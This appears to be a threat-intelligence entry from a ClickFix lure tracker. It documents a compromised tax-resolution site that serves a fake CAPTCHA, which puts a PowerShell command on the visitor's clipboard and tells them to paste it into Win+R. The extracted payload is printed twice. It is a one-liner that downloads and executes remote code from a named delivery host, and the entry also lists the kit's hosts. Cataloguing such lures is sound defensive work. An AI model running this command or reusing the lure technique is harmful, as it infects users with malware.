clickfix.observerby Passguard

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Lures9251

5 Nov 2026

…

9251 lures · page /186

dev.rushtaxresolution.com

https://dev[.]rushtaxresolution[.]com/

Page title

WordPress › Error

As captured from the lure page

Host

188[.]114[.]97[.]0

Scanned

5 Nov 2026, 15:55

Victim saw

Win+R instruction UI

delivery via codes.browse-cdn.beer

Visual capture

Before and after lure interaction

Website before any user interaction

After CAPTCHA / lure interaction

Evidence

Payload and capture metadata

Extracted payload

irm 'codes.browse-cdn.beer/e8ed08695447ab99'|iex;

Resolved download URL

  • https://codes[.]browse-cdn[.]beer/e8ed08695447ab99

This is a staged command. It is defanged.

Capture information

URL provided by urlscan.io
Scanned
5 Nov 2026, 15:55
Captured on
Windows 10 · Chrome
Payload source
Browser clipboard after automated interaction
Navigation error
http 500 for https://dev[.]rushtaxresolution[.]com/

How this attack works

Attack chain from lure surface to payload delivery

Blockchain-gated·A compromised dev.rushtaxresolution.com page loads a blockchain-gated ClickFix kit. An eth_call to a public RPC resolves the on-chain loader, then the lure UI stages a clipboard PowerShell payload for Win+R paste. Delivery observed via codes.browse-cdn.beer, polygon.therpc.io.

  1. 1

    Compromised site loads the lure

    Visitors reach dev.rushtaxresolution.com - a legitimate page that now embeds third-party JavaScript. The injector pulls the ClickFix kit from an external delivery host instead of showing the attack immediately.

    Victim URLhttps://dev[.]rushtaxresolution[.]com/
  2. 2

    Blockchain RPC gate resolves the loader

    This kit uses an on-chain eth_call gate to resolve the live loader before exposing the lure UI.

    Delivery rotatorhttps://codes[.]browse-cdn[.]beer/get_script
  3. 3

    Victim clicks the fake captcha

    After the visitor checks the box, the overlay advances to a step-by-step panel (often branded as Skype, Cloudflare, or a “verification” wizard).

    Screenshot evidencebefore=challenge · after=instructions
  4. 4

    Win+R → Ctrl+V → Enter

    The panel instructs the victim to press Win+R, paste from the clipboard, and press Enter. The malicious command never appears in the browser address bar - only in the Run dialog.

  5. 5

    Clipboard is primed with the payload

    The kit hooks navigator.clipboard.writeText so the PowerShell one-liner is already on the clipboard when the victim reaches the paste step.

    Browser APInavigator.clipboard.writeText(payload)
  6. 6

    PowerShell downloads and runs malware

    PowerShell one-liner downloads and executes a staged binary from the delivery host

    Staged commandirm 'codes.browse-cdn.beer/e8ed08695447ab99'|iex;

Infrastructure

5 hosts

Lure

Where the visitor lands

dev.rushtaxresolution.com

Victim

Delivery

Serves the ClickFix kit

codes.browse-cdn.beer

Delivery

polygon.rpc.hypersync.xyz

Delivery

polygon.therpc.io

Delivery

188[.]114[.]97[.]0

IP

Payload

What the command fetches

No payload URL extracted

Related

  • https://codes[.]browse-cdn[.]beer/api.php?s=8402fb1338daab6a166e91aa8c92a20798acfa98fb75c5a2Reference